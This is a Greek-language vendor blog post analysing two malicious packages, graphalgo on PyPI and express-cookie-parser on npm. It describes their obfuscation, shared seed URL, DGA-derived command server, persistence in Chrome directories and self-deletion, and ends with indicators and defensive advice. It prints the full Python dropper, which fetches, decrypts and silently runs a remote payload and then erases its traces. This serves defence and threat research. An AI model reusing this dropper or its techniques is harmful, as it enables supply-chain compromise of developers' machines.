Επιθέσεις στην Εφοδιαστική Αλυσίδα Λογισμικού 2025 - κακόβουλα πακέτα - κακόβουλα πακέτα python - κακόβουλα πακέτα npm

Μια πιο προσεκτική ματιά στις επιθέσεις στην αλυσίδα εφοδιασμού λογισμικού το 2025: Σύγκριση καμπανιών PyPI και npm

Η Xygeni παρατήρησε πρόσφατα ένα ανησυχητικό μοτίβο στο τοπίο των επιθέσεων στην αλυσίδα εφοδιασμού λογισμικού το 2025., που αναδύεται σε δύο δημοφιλείς διαχειριστές πακέτων: PyPI και npmΣτο πλαίσιο των συνεχιζόμενων προσπαθειών μας για την συλλογή πληροφοριών σχετικά με απειλές,Έγκαιρη προειδοποίηση κακόβουλου λογισμικού (MEW) του Xygeni Το εργαλείο εντόπισε μια ξεχωριστή αλλά μεθοδολογικά παρόμοια περίπτωση κακόβουλου πακέτου που είχε αναρτηθεί σε άλλο μητρώο προηγουμένως. Αυτή η περίπτωση υπογραμμίζει πώς οι απειλητικοί παράγοντες εξελίσσονται και επαναχρησιμοποιούν τεχνικές επίθεσης σε όλα τα οικοσυστήματα, ειδικά μέσω κακόβουλα πακέτα Python και κακόβουλα πακέτα npm, γεγονός που αυξάνει τον κίνδυνο διείσδυσης κακόβουλων πακέτων σε αλυσίδες εφοδιασμού ανοιχτού κώδικα.

Το MEW του Xygeni: Εντοπίζοντας τις ομοιότητες

Το εργαλείο MEW του Xygeni έχει σχεδιαστεί για να ανιχνεύει και να επισημαίνει κακόβουλα πακέτα, ειδικά εκείνα που συνδέονται με επιθέσεις στην αλυσίδα εφοδιασμού λογισμικού το 2025, αμέσως μόλις δημοσιευτούν σε μητρώα ανοιχτού κώδικα. Λειτουργεί αναλύοντας νέα πακέτα για ύποπτη συμπεριφορά.

Στην προκειμένη περίπτωση, εντόπισε δύο κακόβουλα πακέτα Python (graphalgo στο PyPI) και κακόβουλα πακέτα npm (express-cookie-parser σε npm).

Κακόβουλα πακέτα Python και npm σε επιθέσεις στην αλυσίδα εφοδιασμού λογισμικού (2025)

Ας εξερευνήσουμε τα κοινά χαρακτηριστικά που ενεργοποίησαν τις ειδοποιήσεις μας:

Τύπος

Και οι δύο προσπάθησαν να μιμηθούν δημοφιλή υπάρχοντα πακέτα.

  • γραφαλγώ (PyPI): "Πακέτο Python για τη δημιουργία και τον χειρισμό γραφημάτων και δικτύων."Μεταφορτώθηκε από χρήστη με το όνομα «larrytech» Στις 13 Ιουνίου 2025, αυτό το πακέτο παρουσιάστηκε ως εναλλακτική λύση PyPi στο αρχικό μη κακόβουλο έργο graphalgo, το οποίο αργότερα μετονομάστηκε σε graphdict.
  • express-cookie-parser (npm)Αυτό το πακέτο μιμήθηκε το γνωστό πακέτο cookie-parser, αντικατοπτρίζοντας ακόμη και το README.md. Μια τέτοια πλαστοπροσωπία είναι μια κλασική τακτική για την αξιοποίηση της υπάρχουσας εμπιστοσύνης.

Η συσκότιση ως πρώτη γραμμή άμυνας

Και τα δύο πακέτα απέκρυψαν τον κακόβουλο κώδικά τους μέσα στα αρχικά αρχεία. γραφάλγο, ο παραμορφωμένος κώδικας βρέθηκε μέσα /utils/load_libraries.py. Στην περίπτωση των express-cookie-parser, cookie-loader.min.js περιείχε το ασαφές ωφέλιμο φορτίο.

Αυτό το αρχικό επίπεδο συσκότισης χρησιμοποιείται συνήθως για να εμποδίσει την περιστασιακή επιθεώρηση και τη στατική ανάλυση. Η συσκότιση ήταν αρκετά απλή: επαναλαμβανόμενη συμπίεση ZLib συν κωδικοποίηση Base64. Αυτός ο τύπος συσκότισης υποδεικνύει σαφώς ότι το λογισμικό προσπαθεί να αποκρύψει τη συμπεριφορά του. Μαζί με άλλα στοιχεία, αυτό επέτρεψε στο Xygeni MEW να ταξινομήσει τα πακέτα ως πιθανό κακόβουλο λογισμικό. Κατά τη διάρκεια του σταδίου επιβεβαίωσης, οι αναθεωρητές μας προετοίμασαν αμέσως ένα σενάριο απασφάλισης που αποκάλυψε το προφανώς κακόβουλο στάδιο του dropper.

Παράδοση ωφέλιμου φορτίου σε πολλαπλά στάδια και κοινό σημείο προέλευσης

Και τα δύο πακέτα λειτούργησαν ως αρχικά «σταγόνες», θέτοντας το σκηνικό για το πραγματικό ωφέλιμο φορτίο. Μοιράζονταν ένα κοινό εξωτερικό «σπόροςURL αρχείου:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Αυτό το πανομοιότυπο εξωτερικό αρχείο seed αποτελεί ισχυρή ένδειξη ενός κοινού παράγοντα απειλής. Είναι ενδιαφέρον ότι το περιεχόμενο αυτού του αρχείου seed φαίνεται να είναι απλές μεταβλητές περιβάλλοντος (π.χ., JWT_SECRET, PORT), πιθανώς παραπλανητικό ως προς την πραγματική του λειτουργία.

Δυναμική ανάλυση C2 με DGA

Μια εξελιγμένη τακτική που παρατηρείται σε αυτά τα κακόβουλα πακέτα είναι η χρήση ενός Αλγορίθμου Δημιουργίας Τομέα (DGA) για τη δυναμική ανάλυση του διακομιστή Command and Control (C2). Αυτή η τεχνική, που παρατηρείται συχνά σε προηγμένες επιθέσεις αλυσίδας εφοδιασμού λογισμικού το 2025, βασίζεται σε ένα hash SHA256 που προέρχεται από το περιεχόμενο του αρχείου seed, σε συνδυασμό με άλλες τιμές hardcoded. Με αυτόν τον τρόπο, η υποδομή C2 αλλάζει συχνά, καθιστώντας την παραδοσιακή μαύρη λίστα πολύ λιγότερο αποτελεσματική. Σε αυτήν την περίπτωση, η παραλλαγή npm χρησιμοποίησε μια σταθερή τιμή 496AAC7E ως μέρος της λογικής DGA.

Καθιέρωση Εμμονής

Και οι δύο επιτιθέμενοι προσπάθησαν να εδραιώσουν μια μόνιμη παρουσία στα επηρεαζόμενα συστήματα. Η στρατηγική τους περιελάμβανε την απόρριψη ενός αρχείου, startup.py (για PyPi) ή startup.js (για npm), σε κοινούς καταλόγους δεδομένων χρηστών του Google Chrome σε διάφορα λειτουργικά συστήματα (Windows, Linux, macOS).

Καθαρισμός μετά την εκτέλεση

Για την ελαχιστοποίηση των ιχνών, και τα δύο κακόβουλα σενάρια πραγματοποίησαν λειτουργίες καθαρισμού. Αυτό περιελάμβανε τη διαγραφή των αρχικών αρχείων dropper (load_libraries.py, cookie-loader.min.js) και τροποποίηση νόμιμων αρχείων πακέτων (__init__.py, index.js) για να καταργήσετε τις αναφορές στα στοιχεία που έχουν πλέον διαγραφεί.

Ενδείξεις παραβίασης σε κακόβουλα πακέτα Python και npm

  • Πακέτο PyPI: graphalgo (δημοσιεύτηκε από larrytech, 13 Ιουνίου 2025)
  • Πακέτο npm: express-cookie-parser (συγκεκριμένα έκδοση 1.4.12)
  • Πρόσβαση σε κοινόχρηστη διεύθυνση URL προέλευσης

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Μόνιμα ονόματα αρχείων: startup.py (Πύθων) startup.js (JavaScript)
  • Κοινές Μόνιμες Διαδρομές (εξαρτώμενες από το λειτουργικό σύστημα)Μέσα στους καταλόγους δεδομένων χρήστη του Google Chrome (π.χ., AppData\Local\Google\Chrome\UserData\Scripts\ στα Windows, ~/.config/google-chrome/Scripts/ σε Linux, κ.λπ.).

Πώς να αμυνθείτε από κακόβουλα πακέτα σε επιθέσεις στην αλυσίδα εφοδιασμού λογισμικού το 2025

Μια προτεινόμενη προσέγγιση για προγραμματιστές

Αυτό το περιστατικό χρησιμεύει ως μια πολύτιμη μελέτη περίπτωσης στο εξελισσόμενο τοπίο απειλών των επιθέσεων στην αλυσίδα εφοδιασμού λογισμικού το 2025. Υπογραμμίζει πώς τα κακόβουλα πακέτα Python και τα κακόβουλα πακέτα npm μπορούν να διεισδύσουν σε αξιόπιστα οικοσυστήματα, συχνά αποφεύγοντας την ανίχνευση μέχρι να είναι πολύ αργά. Γι' αυτό η έγκαιρη ανίχνευση, τα έξυπνα εργαλεία και η προληπτική υγιεινή του συστήματος αποτελούν πλέον απαραίτητα μέρη κάθε ασφαλούς ροής εργασίας DevOps. Οι προγραμματιστές ενθαρρύνονται να λάβουν υπόψη τα εξής:

Αναθεώρηση Εξάρτησης

Εάν τα έργα σας περιλαμβάνουν γραφάλγο or express-cookie-parser, θα ήταν συνετό να προχωρήσουμε στην απομάκρυνσή τους.

  • Για PyPI: pip uninstall graphalgo
  • Για npm: npm uninstall express-cookie-parser

Υγιεινή Συστήματος

Σκεφτείτε το ενδεχόμενο να πραγματοποιήσετε μια ολοκληρωμένη σάρωση συστήματος. Συνιστάται επίσης να ελέγχετε χειροκίνητα τις κοινές διαδρομές καταλόγου δεδομένων χρήστη του Chrome για τυχόν απροσδόκητα σφάλματα. startup.py or startup.js αρχεία.

Προληπτικά Μέτρα Ασφαλείας

  • Αξιολόγηση Νέων ΕξαρτήσεωνΚαθιερώστε μια ρουτίνα για την ενδελεχή αξιολόγηση των νέων πακέτων πριν από την ενσωμάτωση, εστιάζοντας σε εκείνα από άγνωστους εκδότες.
  • Ενσωμάτωση εργαλείων ασφαλείαςΕργαλεία όπως το MEW της Xygeni, μαζί με άλλες Ανάλυση Σύνθεσης Λογισμικού (SCA) λύσεις, μπορούν να παρέχουν ένα κρίσιμο επίπεδο άμυνας εντοπίζοντας ύποπτες συμπεριφορές και τρωτά σημεία.
  • Ελάχιστο προνόμιοΗ λειτουργία περιβαλλόντων ανάπτυξης με την αρχή των ελαχίστων προνομίων μπορεί να βοηθήσει στον περιορισμό των πιθανών επιπτώσεων ενός συμβιβασμού.
  • Ευαισθητοποίηση ΔικτύουΗ παρακολούθηση της εξερχόμενης κυκλοφορίας δικτύου για ασυνήθιστες συνδέσεις μπορεί μερικές φορές να αποκαλύψει επικοινωνίες C2 που δημιουργούνται από DGA.

Βασικά συστατικά του load_libraries.py (από το graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Χειρίζεται την ανάκτηση αρχείων από καθορισμένες διευθύνσεις URL.
  • run_process()Εκτελεί εξωτερικά σενάρια Python με αποσπασματικό τρόπο, καταστέλλοντας την έξοδο για να παραμένει διακριτική.
  • get_output_file_path(): Καθορίζει την ιδανική τοποθεσία συστήματος για το μόνιμο αρχείο startup.py.
  • remove_self(): Ενορχηστρώνει τον καθαρισμό μετά την εκτέλεση των αρχικών κακόβουλων αρχείων και των τροποποιήσεων πακέτων.
  • simple_shift_encrypt() / simple_shift_decrypt()Προσαρμοσμένες κρυπτογραφικές λειτουργίες για την απόκρυψη καναλιών επικοινωνίας, κρίσιμες για την υλοποίηση DGA.
  • load_libraries(): Η κεντρική λειτουργία που συντονίζει ολόκληρη τη διαδικασία πολλαπλών σταδίων, από την αρχική λήψη έως την τελική εκτέλεση και τον καθαρισμό του ωφέλιμου φορτίου.

Επακόλουθο

Όπως και με άλλα πιθανώς κακόβουλα πακέτα που εντοπίστηκαν από το MEW, το τείχος προστασίας εξαρτήσεων προστάτευσε αμέσως τους χρήστες που θα συμπεριλάμβαναν αυτά τα κακόβουλα πακέτα στις εξαρτήσεις τους. Μετά την επιβεβαίωση, ακολουθήσαμε τις διαδικασίες ειδοποίησης και για τα δύο μητρώα, τα οποία μετά από έλεγχο αφαίρεσαν και τα δύο πακέτα.

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite